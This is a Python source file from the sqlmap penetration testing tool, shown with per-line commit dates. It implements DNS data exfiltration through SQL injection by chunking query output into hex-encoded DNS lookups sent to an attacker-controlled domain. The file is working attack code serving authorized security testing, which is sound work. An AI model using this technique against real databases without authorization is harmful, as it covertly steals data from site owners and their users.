sqlmap/lib/techniques/dns/use.py

120 lines
4.9 KiB
Python
Raw Normal View History

2019-05-08 13:47:52 +03:00
#!/usr/bin/env python
"""
2021-09-08 22:01:41 +03:00
Copyright (c) 2006-2021 sqlmap developers (https://sqlmap.org/)
2017-10-11 15:50:46 +03:00
See the file 'LICENSE' for copying permission
"""
import re
import time
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToStdout
2019-05-03 14:20:15 +03:00
from lib.core.common import decodeDbmsHexValue
from lib.core.common import extractRegexResult
2012-07-10 03:19:32 +04:00
from lib.core.common import getSQLSnippet
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import safeStringFormat
from lib.core.common import singleTimeWarnMessage
2019-03-28 18:04:38 +03:00
from lib.core.compat import xrange
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
2012-07-01 03:19:54 +04:00
from lib.core.settings import DNS_BOUNDARIES_ALPHABET
from lib.core.settings import MAX_DNS_LABEL
from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
2019-09-11 15:05:25 +03:00
from lib.utils.safe2bin import safecharencode
def dnsUse(payload, expression):
"""
Retrieve the output of a SQL query taking advantage of the DNS
resolution mechanism by making request back to attacker's machine.
"""
start = time.time()
retVal = None
count = 0
offset = 1
2016-10-22 22:52:18 +03:00
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
output = hashDBRetrieve(expression, checkConf=True)
2012-04-04 16:27:24 +04:00
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
output = None
if output is None:
kb.dnsMode = True
while True:
count += 1
2012-07-01 03:19:54 +04:00
prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2))
2019-01-22 04:29:52 +03:00
chunk_length = MAX_DNS_LABEL // 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
2016-03-12 17:04:19 +03:00
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
2016-03-12 14:26:30 +03:00
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr), expression).group(0)
if extendedField != fieldToCastStr: # e.g. MIN(surname)
2016-03-12 17:04:19 +03:00
nulledCastedField = extendedField.replace(fieldToCastStr, nulledCastedField)
2016-03-12 14:26:30 +03:00
fieldToCastStr = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
nulledCastedField = agent.hexConvertField(nulledCastedField)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
2016-10-22 22:52:18 +03:00
expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
2013-01-18 18:40:37 +04:00
expressionUnescaped = unescaper.escape(expressionRequest)
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
2012-04-02 18:57:15 +04:00
query = agent.prefixQuery("; %s" % expressionUnescaped)
query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
2012-04-02 18:57:15 +04:00
forgedPayload = agent.payload(newValue=query)
else:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
2012-04-02 18:57:15 +04:00
Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)
_ = conf.dnsServer.pop(prefix, suffix)
2012-04-04 16:27:24 +04:00
if _:
2018-06-10 00:38:00 +03:00
_ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
2019-05-03 14:20:15 +03:00
_ = decodeDbmsHexValue(_)
output = (output or "") + _
offset += len(_)
2012-04-04 16:27:24 +04:00
if len(_) < chunk_length:
break
else:
break
2019-05-03 14:20:15 +03:00
output = decodeDbmsHexValue(output) if conf.hexConvert else output
2014-06-27 16:14:29 +04:00
kb.dnsMode = False
if output is not None:
retVal = output
2012-04-04 16:27:24 +04:00
if kb.dnsTest is not None:
2014-10-01 15:59:51 +04:00
dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
2012-04-04 16:27:24 +04:00
if count > 0:
hashDBWrite(expression, output)
if not kb.bruteMode:
2020-10-27 16:57:12 +03:00
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
logger.debug(debugMsg)
2016-10-22 22:52:18 +03:00
elif conf.dnsDomain:
warnMsg = "DNS data exfiltration method through SQL injection "
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
2012-04-03 14:18:03 +04:00
return safecharencode(retVal) if kb.safeCharEncode else retVal